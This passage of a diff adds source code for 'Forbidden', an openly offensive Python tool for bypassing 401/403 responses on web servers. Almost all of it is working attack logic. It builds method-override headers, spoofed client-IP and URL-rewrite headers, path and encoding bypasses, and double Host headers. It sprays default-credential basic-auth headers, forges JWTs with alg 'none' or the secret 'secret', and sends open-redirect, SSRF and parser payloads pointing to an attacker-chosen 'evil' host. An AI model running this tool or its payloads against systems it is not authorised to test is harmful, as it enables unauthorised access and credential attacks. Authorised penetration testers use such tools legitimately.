re.search(self.__ignore, self.__decode(response.content), self.__regex_flags)): + record["code"] = -1 + # ---------------------------- + except (requests.packages.urllib3.exceptions.LocationParseError, requests.exceptions.RequestException) as ex: + # ---------------------------- + self.__print_debug(ex, ("{0}: {1}").format(record["id"], record["command"])) + # ---------------------------- + finally: + # ---------------------------- + if response: + response.close() + # ---------------------------- + if session: + session.close() + # ---------------------------- + return record + + def __set_double_headers(self, request, headers): + exists = set() + for header in headers: + array = header.split(":", 1) + key = array[0].rstrip(";") + value = self.__encode(array[1].strip() if len(array) > 1 else "") + request.headers[key if key not in exists and not exists.add(key) else uniquestr(key)] = value + + def __validate_results(self): + tmp = [] + # -------------------------------- + print_time("Validating results...") + table = Table(self.__collection) # unfiltered + # -------------------------------- + self.__collection = pop(sorted([record for record in self.__collection if record["code"] > 0], key = lambda x: (x["code"], -x["length"], x["raw"])), ["raw", "proxy", "response_headers", "response", "curl"]) + # -------------------------------- + for record in self.__collection: + if record["code"] >= 500: + continue + print_cyan(jdump(record)) + tmp.append(record) + elif record["code"] >= 400: + continue + print_red(jdump(record)) + tmp.append(record) + elif record["code"] >= 300: + # continue + print_yellow(jdump(record)) + tmp.append(record) + elif record["code"] >= 200: + # continue + print_green(jdump(record)) + tmp.append(record) + elif record["code"] > 0: + continue + print_white(jdump(record)) + tmp.append(record) + # -------------------------------- + self.__collection = tmp + table.show() + + def __check_tests(self, array): + return any(test in array for test in self.__tests) + + def __prepare_collection(self): + print_time("Preparing test records...") + # -------------------------------- + if self.__check_tests(["base", "all"]): + # NOTE: Test both, HTTP and HTTPS requests on both, domain name and IP. + self.__records( + identifier = "BASE-1", + urls = unique([ + self.__url["urls"]["domain"]["https"], + self.__url["urls"]["domain"]["http"], + self.__url["urls"]["ip"]["https"], + self.__url["urls"]["ip"]["http"] + ]) + ) + # -------------------------------- + if self.__check_tests(["methods", "all"]): + # NOTE: Test allowed HTTP methods. + self.__records( + identifier = "METHODS-1", + urls = self.__url["urls"]["base"], + methods = self.__allowed_methods + ) + # NOTE: Test allowed HTTP methods with 'Content-Length: 0' HTTP request header. + self.__records( + identifier = "METHODS-2", + urls = self.__url["urls"]["base"], + methods = self.__allowed_methods, + headers = ["Content-Length: 0"] + ) + # NOTE: Test cross-site tracing (XST) with HTTP TRACE and TRACK methods. + # NOTE: To confirm the vulnerability, check if 'XSTH: XSTV' HTTP response header is returned. + self.__records( + identifier = "METHODS-3", + urls = self.__url["urls"]["base"], + methods = ["TRACE", "TRACK"], + headers = ["XSTH: XSTV"] + ) + # NOTE: Test [text] file upload with HTTP PUT method. + # NOTE: Semi-colon in 'Content-Type;' will expand to an empty HTTP request header. + self.__records( + identifier = "METHODS-4", + urls = self.__get_file_upload_urls(files = ["/pentest.txt"]), + methods = ["PUT"], + headers = ["Content-Type;", "Content-Type: text/plain"], + body = "pentest" + ) + # -------------------------------- + if self.__check_tests(["method-overrides", "all"]): + # NOTE: Test HTTP method overrides with HTTP request headers. + self.__records( + identifier = "METHOD-OVERRIDES-1", + urls = self.__url["urls"]["base"], + methods = self.__allowed_methods, + headers = self.__get_method_override_headers() + ) + # NOTE: Test HTTP method overrides with URL query string parameters. + self.__records( + identifier = "METHOD-OVERRIDES-2", + urls = self.__get_method_override_urls(), + methods = self.__allowed_methods + ) + # -------------------------------- + if self.__check_tests(["scheme-overrides", "all"]): + # NOTE: Test URL scheme overrides, HTTPS to HTTP. + self.__records( + identifier = "SCHEME-OVERRIDES-1", + urls = self.__url["urls"]["domain"]["https"], + headers = self.__get_scheme_override_headers("http") + ) + # NOTE: Test URL scheme overrides, HTTP to HTTPS. + self.__records( + identifier = "SCHEME-OVERRIDES-2", + urls = self.__url["urls"]["domain"]["http"], + headers = self.__get_scheme_override_headers("https") + ) + # -------------------------------- + if self.__check_tests(["port-overrides", "all"]): + # NOTE: Test port overrides. + self.__records( + identifier = "PORT-OVERRIDES-1", + urls = self.__url["urls"]["base"], + headers = self.__get_port_override_headers() + ) + # -------------------------------- + if self.__check_tests(["headers", "all"]): + # NOTE: Test information disclosure with 'Accept' HTTP request header. + self.__records( + identifier = "HEADERS-1", + urls = self.__url["urls"]["base"], + headers = ["Accept: application/json,text/javascript,*/*;q=0.01"] + ) + # NOTE: Test HTTP request headers. + self.__records( + identifier = "HEADERS-2", + urls = self.__url["urls"]["base"], + headers = self.__get_url_headers(self.__url["relative_paths"] + self.__url["absolute_paths"] + self.__get_all_values(scheme = True, ip = False)) + ) + # NOTE: Test HTTP request headers. + self.__records( + identifier = "HEADERS-3", + urls = self.__url["urls"]["base"], + headers = self.__get_ip_headers(self.__get_all_values(scheme = False, ip = False) + self.__get_all_values(scheme = False, ip = True)) + ) + # NOTE: Test HTTP request headers. + self.__records( + identifier = "HEADERS-4", + urls = self.__url["urls"]["base"], + headers = self.__get_special_headers() + ) + # NOTE: Test HTTP request headers. + if self.__values: + self.__records( + identifier = "HEADERS-5", + urls = self.__url["urls"]["base"], + headers = self.__get_all_headers(self.__values) + ) + # NOTE: Test URL override with domain name. + self.__records( + identifier = "HEADERS-6", + urls = self.__url["scheme_domain"], + headers = self.__get_url_headers(self.__url["relative_paths"] + self.__url["absolute_paths"]) + ) + # NOTE: Test URL override with accessible URL. + if self.__accessible: + self.__records( + identifier = "HEADERS-7", + urls = self.__accessible, + headers = self.__get_url_headers(self.__url["relative_paths"] + self.__url["absolute_paths"]) + ) + # NOTE: Test HTTP host override with double 'Host' HTTP request headers. + self.__records( + identifier = "HEADERS-8", + urls = self.__url["urls"]["base"], + headers = self.__get_double_host_header(ip = False) + self.__get_double_host_header(ip = True), + curl = False + ) + # -------------------------------- + if self.__check_tests(["paths", "all"]): + # NOTE: Test URL path bypasses. + self.__records( + identifier = "PATHS-1", + urls = self.__get_path_bypass_urls() + ) + # -------------------------------- + if self.__check_tests(["encodings", "all"]): + # NOTE: Test domain name and URL path transformations and encodings. + self.__records( + identifier = "ENCODINGS-1", + urls = self.__get_encoded_urls(), + curl = True + ) + # TO DO: Extend to HTTP request headers. + # -------------------------------- + if self.__check_tests(["auths", "all"]): + # NOTE: Test basic authentication/authorization. + self.__records( + identifier = "AUTHS-1", + urls = self.__url["urls"]["base"], + headers = self.__get_basic_auth_headers() + ) + # NOTE: Test bearer authentication/authorization. + self.__records( + identifier = "AUTHS-2", + urls = self.__url["urls"]["base"], + headers = self.__get_bearer_auth_headers() + ) + # -------------------------------- + if self.__check_tests(["redirects", "all"]): + # NOTE: Test open redirects, OOB, and SSRF. + self.__records( + identifier = "REDIRECTS-1", + urls = self.__url["urls"]["base"], + headers = self.__get_url_headers(self.__get_redirect_urls(scheme = True, ip = False)) + ) + # NOTE: Test open redirects, OOB, and SSRF. + self.__records( + identifier = "REDIRECTS-2", + urls = self.__url["urls"]["base"], + headers = self.__get_ip_headers(self.__get_redirect_urls(scheme = False, ip = False) + self.__get_redirect_urls(scheme = False, ip = True)) + ) + # -------------------------------- + if self.__check_tests(["parsers", "all"]): + # NOTE: Test broken URL parsers, OOB, and SSRF. + self.__records( + identifier = "PARSERS-1", + urls = self.__url["urls"]["base"], + headers = self.__get_url_headers(self.__get_broken_urls(scheme = True, ip = False)) + ) + # NOTE: Test broken URL parsers, OOB, and SSRF. + self.__records( + identifier = "PARSERS-2", + urls = self.__url["urls"]["base"], + headers = self.__get_ip_headers(self.__get_broken_urls(scheme = False, ip = False) + self.__get_broken_urls(scheme = False, ip = True)) + ) + + def __get_methods(self): + tmp = [ + "ACL", + "ARBITRARY", + "BASELINE-CONTROL", + "BIND", + "CHECKIN", + "CHECKOUT", + "CONNECT", + "COPY", + # "DELETE", # NOTE: This HTTP method is dangerous! + "GET", + "HEAD", + "INDEX", + "LABEL", + "LINK", + "LOCK", + "MERGE", + "MKACTIVITY", + "MKCALENDAR", + "MKCOL", + "MKREDIRECTREF", + "MKWORKSPACE", + "MOVE", + "OPTIONS", + "ORDERPATCH", + "PATCH", + "POST", + "PRI", + "PROPFIND", + "PROPPATCH", + "PUT", + "REBIND", + "REPORT", + "SEARCH", + "SHOWMETHOD", + "SPACEJUMP", + "TEXTSEARCH", + "TRACE", + "TRACK", + "UNBIND", + "UNCHECKOUT", + "UNLINK", + "UNLOCK", + "UPDATE", + "UPDATEREDIRECTREF", + "VERSION-CONTROL" + ] + return unique(tmp) + + def __get_file_upload_urls(self, files): + tmp = [] + scheme_domain_paths = append_paths(self.__url["scheme_domain"], get_recursive_paths(self.__url["path"])) + scheme_domain_path_files = append_paths(scheme_domain_paths, files) + for scheme_domain_path_file in scheme_domain_path_files: + tmp.append(scheme_domain_path_file + self.__url["query"]["full"] + self.__url["fragment"]["full"]) + return unique(tmp) + + def __get_method_override_headers(self): + tmp = [] + headers = [ + "X-HTTP-Method", + "X-HTTP-Method-Override", + "X-Method-Override" + ] + for header in headers: + for method in self.__get_methods(): + tmp.append(("{0}: {1}").format(header, method)) + return unique(tmp) + + def __get_method_override_urls(self): + tmp = [] + parameters = [ + "x-http-method-override", + "x-method-override" + ] + for parameter in parameters: + url = copy.deepcopy(self.__url) + if parameter in url["query"]["parsed"]: + # NOTE: In case of duplicate parameters in the URL query string, replace only the last one. + # NOTE: URL query string is case-sensitive. + separator = "?" + for method in self.__get_methods(): + url["query"]["parsed"][parameter][-1] = method + query = separator + urllib.parse.urlencode(url["query"]["parsed"], doseq = True) + tmp.append(url["scheme_domain"] + url["path"] + query + url["fragment"]["full"]) + else: + separator = "&" if url["query"]["parsed"] else "?" + for method in self.__get_methods(): + url["query"]["parsed"][parameter] = [method] + query = separator + urllib.parse.urlencode(url["query"]["parsed"], doseq = True) + tmp.append(url["scheme_domain"] + url["path"] + query + url["fragment"]["full"]) + return unique(tmp) + + def __get_scheme_override_headers(self, scheme): + tmp = [] + # -------------------------------- + headers = [ + "X-Forwarded-Proto", + "X-Forwarded-Protocol", + "X-Forwarded-Scheme", + "X-Scheme", + "X-URL-Scheme" + ] + for header in headers: + tmp.append(("{0}: {1}").format(header, scheme)) + # -------------------------------- + headers = [ + "Front-End-HTTPS", + "X-Forwarded-SSL" + ] + status = "on" if scheme == "https" else "off" + for header in headers: + tmp.append(("{0}: {1}").format(header, status)) + # -------------------------------- + return unique(tmp) + + def __get_port_override_headers(self): + tmp = [] + headers = [ + "X-Forwarded-Port" + ] + for header in headers: + for port in [self.__url["port"], 80, 443, 4443, 8008, 8080, 8403, 8443, 9008, 9080, 9403, 9443]: + tmp.append(("{0}: {1}").format(header, port)) + return unique(tmp) + + def __get_url_headers(self, values): + tmp = [] + # -------------------------------- + headers = [ + "19-Profile", + "Base-URL", + "Destination", + "Origin", + "Profile", + "Proxy", + "Referer", + "Request-URI", + "URI", + "URL", + "WAP-Profile", + "X-Forwarded-Path", + "X-HTTP-DestinationURL", + "X-Original-URL", + "X-Override-URL", + "X-Proxy-URL", + "X-Referer", + "X-Rewrite-URL", + "X-Wap-Profile" + ] + for header in headers: + for value in values: + tmp.append(("{0}: {1}").format(header, value)) + # -------------------------------- + return unique(tmp) + + def __get_ip_headers(self, values): + tmp = [] + # -------------------------------- + headers = [ + "CF-Connecting-IP", + "Client-IP", + "Cluster-Client-IP", + "Forwarded-For", + "Forwarded-For-IP", + "Host", + "Incap-Client-IP", + "Proxy", + "Redirect", + "Remote-Addr", + "True-Client-IP", + "X-Client-IP", + "X-Cluster-Client-IP", + "X-Forwarded", + "X-Forwarded-By", + "X-Forwarded-For", + "X-Forwarded-For-Original", + "X-Forwarded-Host", + "X-Forwarded-Server", + "X-HTTP-Host-Override", + "X-Host", + "X-Host-Override", + "X-Original-Forwarded-For", + "X-Original-Remote-Addr", + "X-Originally-Forwarded-For", + "X-Originating-IP", + "X-Proxy-Host", + "X-ProxyUser-IP", + "X-Real-IP", + "X-Remote-Addr", + "X-Remote-IP", + "X-Requested-With", + "X-Server-IP", + "X-True-Client-IP", + "X-True-IP" + ] + for header in headers: + for value in values: + tmp.append(("{0}: {1}").format(header, value)) + # -------------------------------- + headers = [ + "Forwarded" + ] + for header in headers: + for value in values: + tmp.append(("{0}: for=\"{1}\"").format(header, value.replace("\"", "\\\""))) + # -------------------------------- + headers = [ + "X-Custom-IP-Authorization" + ] + injections = ["", ";", ".;", "..;"] + for header in headers: + for value in values: + for injection in injections: + tmp.append(("{0}: {1}").format(header, value + injection)) + # -------------------------------- + headers = [ + "X-Originating-IP" + ] + for header in headers: + for value in values: + tmp.append(("{0}: [{1}]").format(header, value)) + # -------------------------------- + return unique(tmp) + + def __get_special_headers(self): + tmp = [] + # -------------------------------- + headers = [ + "From" + ] + for header in headers: + for value in [self.__url["domain_no_port"], self.__evil["domain_no_port"]]: + tmp.append(("{0}: pentest@{1}").format(header, value)) + # -------------------------------- + headers = [ + "Profile" + ] + for header in headers: + for value in [self.__url["scheme_domain"], self.__evil["scheme_domain"]]: + tmp.append(("{0}: <{0}/profile/pentest>").format(header, value)) + # -------------------------------- + headers = [ + "X-Requested-With" + ] + for header in headers: + for value in ["XMLHttpRequest"]: + tmp.append(("{0}: {0}").format(header, value)) + # -------------------------------- + return unique(tmp) + + def __get_all_headers(self, values): + return unique(self.__get_url_headers(values) + self.__get_ip_headers(values)) + + def __get_localhost_urls(self): + return get_all_domains(self.__url["scheme"], ["localhost", "127.0.0.1", unicode_encode("127.0.0.1"), "127.000.000.001"], self.__url["port"]) + + def __get_random_urls(self): + return get_all_domains(self.__url["scheme"], ["192.168.1.1", "172.16.1.1", "173.245.48.1", "10.1.1.1", "169.254.169.254"], self.__url["port"]) + + def __get_all_values(self, scheme = True, ip = False): + tmp = [] + domain_extended = "ip_extended" if ip else "domain_extended" + localhost = "127.0.0.1" if ip else "localhost" + temp = strip_url_schemes(self.__get_localhost_urls() + self.__get_random_urls() + self.__url[domain_extended]) + if scheme: + tmp.extend([("{0}://{1}").format(self.__url["scheme"], entry + self.__url["path_full"]) for entry in temp]) + else: + tmp += temp + temp = strip_url_schemes(self.__evil[domain_extended]) + if scheme: + tmp.extend([("{0}://{1}").format(self.__evil["scheme"], entry + self.__url["path_full"]) for entry in temp]) + else: + tmp += temp + if not scheme: + for override in strip_url_schemes(self.__url[domain_extended] + self.__evil[domain_extended]): + for initial in strip_url_schemes([localhost, ("{0}:{1}").format(localhost, self.__url["port"])]): + tmp.append(("{0},{1}").format(initial, override)) + return unique(tmp) + + def __get_double_host_header(self, ip = False): + tmp = [] + domain_extended = "ip_extended" if ip else "domain_extended" + exists = set() + for override in strip_url_schemes(self.__evil[domain_extended]): + for initial in strip_url_schemes(self.__url[domain_extended]): + exist = initial + override + if exist not in exists and not exists.add(exist): + tmp.append([ + ("Host: {0}").format(initial), + ("Host: {0}").format(override) + ]) + return tmp + + def __get_path_bypass_urls(self): + path_bypasses = [] + # -------------------------------- + path = self.__url["path"].strip(path_const) + # -------------------------------- + # NOTE: Inject at the beginning, end, and both, beginning and end of the URL path. + # NOTE: All possible combinations. + injections = [] + for i in ["", "%09", "%20", "%23", "%2e", "*", ".", "..", ";", ".;", "..;", ";foo=bar;"]: + injections.extend([path_const + i + path_const, i + path_const, path_const + i, i]) + for i in injections: + path_bypasses.extend([path + i, i + path]) + if path: + for j in injections: + path_bypasses.extend([i + path + j]) + # -------------------------------- + # NOTE: Inject at the end of the URL path. + injections = [] + for i in ["#", "*", ".", "?", "~"]: + injections.extend([i, i + i, ("{0}random").format(i)]) + paths = [path, path + path_const] + for p in paths: + for i in injections: + path_bypasses.extend([p + i]) + # -------------------------------- + # NOTE: Inject at the end of the URL path only if it does not end with forward slash. + if path and not self.__url["path"].endswith(path_const): + injections = ["asp", "aspx", "esp", "html", "jhtml", "json", "jsp", "jspa", "jspx", "php", "sht", "shtml", "xhtml", "xml"] + for i in injections: + path_bypasses.extend([("{0}.{1}").format(path, i)]) + # -------------------------------- + tmp = [] + for path_bypass in path_bypasses: + tmp.append(self.__url["scheme_domain"] + prepend_slash(path_bypass) + self.__url["query"]["full"] + self.__url["fragment"]["full"]) + return unique(tmp) + + def __get_encoded_urls(self): + tmp = [] + domains = get_encoded_domains(self.__url["domain_no_port"], self.__url["port"]) + for domain in domains: + tmp.append(("{0}://{1}").format(self.__url["scheme"], domain + self.__url["path_full"])) + if self.__url["path"]: + paths = get_encoded_paths(self.__url["path"]) + for path in paths: + tmp.append(self.__url["scheme_domain"] + path + self.__url["query"]["full"] + self.__url["fragment"]["full"]) + for domain in domains: + for path in paths: + tmp.append(("{0}://{1}").format(self.__url["scheme"], domain + path + self.__url["query"]["full"] + self.__url["fragment"]["full"])) + return unique(tmp) + + def __get_basic_auth_headers(self): + tmp = [] + headers = [ + "Authorization" + ] + values = ["", "null", "None", "nil"] + usernames = ["admin", "cisco", "gateway", "guest", "jigsaw", "root", "router", "switch", "tomcat", "wampp", "xampp", "sysadmin"] + passwords = ["admin", "cisco", "default", "gateway", "guest", "jigsaw", "password", "root", "router", "secret", "switch", "tomcat", "toor", "wampp", "xampp", "sysadmin"] + for username in usernames: + for password in passwords: + values.append(b64(("{0}:{1}").format(username, password))) + for header in headers: + for value in values: + tmp.append(("{0}: Basic {1}").format(header, value)) + return unique(tmp) + + def __get_bearer_auth_headers(self): + tmp = [] + headers = [ + "Authorization" + ] + values = ["", "null", "None", "nil", + "eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJhZG1pbiI6dHJ1ZX0.", + "eyJ0eXAiOiJKV1QiLCJhbGciOiJOb25lIn0.eyJhZG1pbiI6dHJ1ZX0.", + "eyJ0eXAiOiJKV1QiLCJhbGciOiJOT05FIn0.eyJhZG1pbiI6dHJ1ZX0.", + "eyJ0eXAiOiJKV1QiLCJhbGciOiJuT25FIn0.eyJhZG1pbiI6dHJ1ZX0.", + "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhZG1pbiI6dHJ1ZX0.5kp9eqTFR4hoHAIvHXgXXnLE8aJUoJVS4AV4t7uO5eU", + "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhZG1pbiI6dHJ1ZX0.emvct89GULwEkl5Jur3Y2JADuP8piGzUxFG5mantrUU", + "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhZG1pbiI6dHJ1ZX0.ZvSy_JmkGvnKi908ZblUyq6mRPHgaiCs9n4o2N4Lp10", + "eyJ0eXAiOiJKV1QiLCJhbGciOiJFUzI1NiJ9.eyJhZG1pbiI6dHJ1ZX0.MAYCAQACAQA" + ] + for url in [self.__url["scheme_domain"], self.__evil["scheme_domain"]]: + for secret in ["secret", b64("secret")]: + values.append(jwt.encode({"admin": True}, secret, algorithm = "HS256", headers = {"jku": url})) + for header in headers: + for value in values: + tmp.append(("{0}: Bearer {1}").format(header, value)) + return unique(tmp) + + def __get_redirect_urls(self, scheme = True, ip = False): + tmp = [] + domain_extended = "ip_extended" if ip else "domain_extended" + domain_no_port = "ip_no_port" if ip else "domain_no_port" + injections = [path_const, ("{0}.").format(path_const)] + for override in strip_url_schemes(self.__evil[domain_extended]): + tmp.append(override) + for injection in injections: + tmp.append(override + injection + self.__url[domain_no_port]) + if not ip: + tmp.append(("{0}.{1}").format(self.__url[domain_no_port], override)) + if scheme: + tmp = [("{0}://{1}").format(self.__evil["scheme"], entry + self.__url["path_full"]) for entry in tmp] + return unique(tmp) + + def __get_broken_urls(self, scheme = True, ip = False): + tmp = [] + domain_extended = "ip_extended" if ip else "domain_extended" + at_const = "@" + injections = [at_const, (" {0}").format(at_const), ("#{0}").format(at_const)] + for override in strip_url_schemes(self.__evil[domain_extended]): + for initial in strip_url_schemes(self.__url[domain_extended]): + for injection in injections: + tmp.append(initial + injection + override) + if scheme: + tmp = [("{0}://{1}").format(self.__evil["scheme"], entry + self.__url["path_full"]) for entry in tmp] + return unique(tmp) + +# ---------------------------------------- + +class Table: + + def __init__(self, collection): + self.__table = self.__init_table(collection) + + def __init_table(self, collection): + table = {} + for record in collection: + if record["code"] not in table: + table[record["code"]] = 0 + table[record["code"]] += 1 + return dict(sorted(table.items())) + + def __row(self, code, count, color): + return [ + ("{0}{1}{2}").format(color, code, colorama.Style.RESET_ALL), + ("{0}{1}{2}").format(color, count, colorama.Style.RESET_ALL) + ] + + def show(self): + tmp = [] + for code, count in self.__table.items(): + if code >= 500: + tmp.append(self.__row(code, count, colorama.Fore.CYAN)) + elif code >= 400: + tmp.append(self.__row(code, count, colorama.Fore.RED)) + elif code >= 300: + tmp.append(self.__row(code, count, colorama.Fore.YELLOW)) + elif code >= 200: + tmp.append(self.__row(code, count, colorama.Fore.GREEN)) + elif code > 0: + tmp.append(self.__row(code, count, colorama.Fore.WHITE)) + elif code == 0: + tmp.append(self.__row("Errors", count, colorama.Fore.WHITE)) + elif code == -1: + tmp.append(self.__row("Ignored", count, colorama.Fore.WHITE)) + elif code == -2: + tmp.append(self.__row("Duplicates", count, colorama.Fore.WHITE)) + if tmp: + print(tabulate.tabulate(tmp, ["Code", "Count"], tablefmt = "outline", colalign = ("left", "left"))) + +# ---------------------------------------- + +class Progress: + + def __init__(self, total, print_lock): + self.__total = total + self.__count = 0 + self.__print_lock = print_lock + + def show(self): + with self.__print_lock: + print(("Progress: {0}/{1} | {2:.2f}%").format(self.__count, self.__total, (self.__count / self.__total) * 100), end = "\n" if self.__count == self.__total else "\r") + self.__count += 1 + +# ---------------------------------------- + +class MyArgParser(argparse.ArgumentParser): + + def print_help(self): + print("Forbidden v10.8 ( github.com/ivan-sincek/forbidden )") + print("") + print("Usage: forbidden -u url -t tests [-f force] [-v values ] [-p path ] [-o out ]") + print("Example: forbidden -u https://example.com/admin -t all [-f POST ] [-v values.txt] [-p /home] [-o results.json]") + print("") + print("DESCRIPTION") + print(" Bypass 4xx HTTP response status codes and more") + print("URL") + print(" Inaccessible URL") + print(" -u, --url = https://example.com/admin | etc.") + print("IGNORE QUERY STRING AND FRAGMENT") + print(" Ignore URL query string and fragment") + print(" -iqsf, --ignore-query-string-and-fragment") + print("IGNORE CURL") + print(" Use Python Requests instead of PycURL where applicable") + print(" -ic, --ignore-curl") + print("TESTS") + print(" Tests to run") + print(" Use comma-separated values") + print(" -t, --tests = base | methods | [method|scheme|port]-overrides | headers | paths | encodings | auths | redirects | parsers | all") + print("FORCE") + print(" Force an HTTP method for all non-specific test cases") + print(" -f, --force = GET | POST | CUSTOM | etc.") + print("VALUES") + print(" File with additional HTTP request header values such as internal IPs, etc.") + print(" Spacing will be stripped, empty lines ignored, and duplicates removed") + print(" Tests: headers") + print(" -v, --values = values.txt | etc.") + print("PATH") + print(" Accessible URL path to test URL overrides") + print(" Tests: headers") + print(" Default: /robots.txt | /index.html | /sitemap.xml | /README.txt") + print(" -p, --path = /home | etc.") + print("EVIL") + print(" Evil URL to test URL overrides") + print(" Tests: headers | redirects") + print(" Default: https://github.com") + print(" -e, --evil = https://xyz.interact.sh | https://xyz.burpcollaborator.net | etc.") + print("IGNORE") + print(" Filter out 200 OK false positive results with RegEx") + print(" Spacing will be stripped") + print(" -i, --ignore = Inaccessible | \"Access Denied\" | etc.") + print("CONTENT LENGTHS") + print(" Filter out 200 OK false positive results by HTTP response content lengths") + print(" Specify 'base' to ignore content length of the base HTTP response") + print(" Specify 'path' to ignore content length of the accessible URL response") + print(" Use comma-separated values") + print(" -l, --content-lengths = 12 | base | path | etc.") + print("REQUEST TIMEOUT") + print(" Request timeout") + print(" Default: 60") + print(" -rt, --request-timeout = 30 | etc.") + print("THREADS") + print(" Number of parallel threads to run") + print(" More threads make it run faster but also might return more false positive results") + print(" Greatly impacted by internet connectivity speed and server capacity") + print(" Default: 5") + print(" -th, --threads = 20 | etc.") + print("SLEEP") + print(" Sleep in milliseconds before sending an HTTP request") + print(" Intended for a single-thread use") + print(" -s, --sleep = 500 | etc.") + print("USER AGENT") + print(" User agent to use") + print((" Default: {0}").format(default_user_agent)) + print(" -a, --user-agent = curl/3.30.1 | random[-all] | etc.") + print("PROXY") + print(" Web proxy to use") + print(" -x, --proxy = http://127.0.0.1:8080 | etc.") + print("OUT") + print(" Output file") + print(" -o, --out = results.json | etc.") + print("DEBUG") + print(" Debug output") + print(" -dbg, --debug") + + def error(self, message): + if len(sys.argv) > 1: + print("Missing a mandatory option (-u, -t) and/or optional (-iqsf, -ic, -f, -v, -p, -e, -i, -l, -rt, -th, -s, -a, -x, -o, -dbg)") + print("Use -h or --help for more info") + else: + self.print_help() + exit() + +class Validate: + + def __init__(self): + self.__proceed = True + self.__parser = MyArgParser() + self.__parser.add_argument("-u" , "--url" , required = True , type = str , default = "" ) + self.__parser.add_argument("-iqsf", "--ignore-query-string-and-fragment", required = False, action = "store_true", default = False) + self.__parser.add_argument("-ic" , "--ignore-curl" , required = False, action = "store_true", default = False) + self.__parser.add_argument("-t" , "--tests" , required = True , type = str.lower , default = "" ) + self.__parser.add_argument("-f" , "--force" , required = False, type = str.upper , default = "" ) + self.__parser.add_argument("-v" , "--values" , required = False, type = str , default = "" ) + self.__parser.add_argument("-p" , "--path" , required = False, type = str , default = "" ) + self.__parser.add_argument("-e" , "--evil" , required = False, type = str , default = "" ) + self.__parser.add_argument("-i" , "--ignore" , required = False, type = str , default = "" ) + self.__parser.add_argument("-l" , "--content-lengths" , required = False, type = str.lower , default = "" ) + self.__parser.add_argument("-rt" , "--request-timeout" , required = False, type = str , default = "" ) + self.__parser.add_argument("-th" , "--threads" , required = False, type = str , default = "" ) + self.__parser.add_argument("-s" , "--sleep" , required = False, type = str , default = "" ) + self.__parser.add_argument("-a" , "--user-agent" , required = False, type = str , default = "" ) + self.__parser.add_argument("-x" , "--proxy" , required = False, type = str , default = "" ) + self.__parser.add_argument("-o" , "--out" , required = False, type = str , default = "" ) + self.__parser.add_argument("-dbg" , "--debug" , required = False, action = "store_true", default = False) + + def run(self): + self.__args = self.__parser.parse_args() + self.__args.url = self.__parse_url(self.__args.url, "url") # required + self.__args.tests = self.__parse_tests(self.__args.tests) # required + self.__args.values = self.__parse_values(self.__args.values) if self.__args.values else [] + self.__args.path = self.__parse_path(self.__args.path) if self.__args.path else ["/robots.txt", "/index.html", "/sitemap.xml", "/README.txt"] + self.__args.evil = self.__parse_url(self.__args.evil, "evil") if self.__args.evil else "https://github.com" + self.__args.ignore = self.__parse_ignore(self.__args.ignore) if self.__args.ignore else "" + self.__args.content_lengths = self.__parse_content_lengths(self.__args.content_lengths) if self.__args.content_lengths else [] + self.__args.request_timeout = self.__parse_request_timeout(self.__args.request_timeout) if self.__args.request_timeout else 60 + self.__args.threads = self.__parse_threads(self.__args.threads) if self.__args.threads else 5 + self.__args.sleep = self.__parse_sleep(self.__args.sleep) if self.__args.sleep else 0 + self.__args.user_agent = self.__parse_user_agent(self.__args.user_agent) if self.__args.user_agent else [default_user_agent] + self.__args.proxy = self.__parse_url(self.__args.proxy, "proxy") if self.__args.proxy else "" + self.__args = vars(self.__args) + return self.__proceed + + def get_arg(self, key): + return self.__args[key] + + def __error(self, msg): + self.__proceed = False + self.__print_error(msg) + + def __print_error(self, msg): + print(("ERROR: {0}").format(msg)) + + def __parse_url(self, value, key): + data = { + "url": { + "schemes": ["http", "https"], + "scheme_error": [ + "Inaccessible URL: Scheme is required", + "Inaccessible URL: Supported schemes are 'http' and 'https'" + ], + "domain_error": "Inaccessible URL: Invalid domain name", + "port_error": "Inaccessible URL: Port number is out of range" + }, + "evil": { + "schemes": ["http", "https"], + "scheme_error": [ + "Evil URL: Scheme is required", + "Evil URL: Supported schemes are 'http' and 'https'" + ], + "domain_error": "Evil URL: Invalid domain name", + "port_error": "Evil URL: Port number is out of range" + }, + "proxy": { + "schemes": ["http", "https", "socks4", "socks4h", "socks5", "socks5h"], + "scheme_error": [ + "Proxy URL: Scheme is required", + "Proxy URL: Supported schemes are 'http[s]', 'socks4[h]', and 'socks5[h]'" + ], + "domain_error": "Proxy URL: Invalid domain name", + "port_error": "Proxy URL: Port number is out of range" + } + } + tmp = urllib.parse.urlsplit(value) + if not tmp.scheme: + self.__error(data[key]["scheme_error"][0]) + elif tmp.scheme not in data[key]["schemes"]: + self.__error(data[key]["scheme_error"][1]) + elif not tmp.netloc: + self.__error(data[key]["domain_error"]) + elif tmp.port and (tmp.port < 1 or tmp.port > 65535): + self.__error(data[key]["port_error"]) + return value + + def __parse_tests(self, value): + tmp = [] + for entry in value.lower().split(","): + entry = entry.strip() + if not entry: + continue + elif entry not in ["base", "methods", "method-overrides", "scheme-overrides", "port-overrides", "headers", "paths", "encodings", "auths", "redirects", "parsers", "all"]: + self.__error("Supported tests are 'base', 'methods', '[method|scheme|port]-overrides', 'headers', 'paths', 'encodings', 'auths', 'redirects', 'parsers', or 'all'") + break + elif entry == "all": + tmp = [entry] + break + else: + tmp.append(entry) + return unique(tmp) + + def __parse_values(self, value): + tmp = [] + if not os.path.isfile(value): + self.__error("File with additional values does not exists") + elif not os.access(value, os.R_OK): + self.__error("File with additional values does not have a read permission") + elif not os.stat(value).st_size > 0: + self.__error("File with additional values is empty") + else: + tmp = read_file(value) + if not tmp: + self.__error("No additional values were found") + return tmp + + def __parse_path(self, value): + return [prepend_slash(replace_multiple_slashes(value))] + + def __parse_ignore(self, value): + try: + re.compile(value) + except re.error: + self.__error("Invalid RegEx") + return value + + def __parse_content_lengths(self, value): + tmp = [] + for entry in value.lower().split(","): + entry = entry.strip() + if not entry: + continue + elif entry in ["base", "path"]: + tmp.append(entry) + elif not entry.isdigit() or int(entry) < 0: + self.__error("Content lengths must be either 'base', 'path', or numeric equal or greater than zero") + break + else: + tmp.append(int(entry)) + return unique(tmp) + + def __parse_request_timeout(self, value): + if not value.isdigit(): + self.__error("Request timeout must be numeric") + else: + value = int(value) + if value <= 0: + self.__error("Request timeout must be greater than zero") + return value + + def __parse_threads(self, value): + if not value.isdigit(): + self.__error("Number of parallel threads to run must 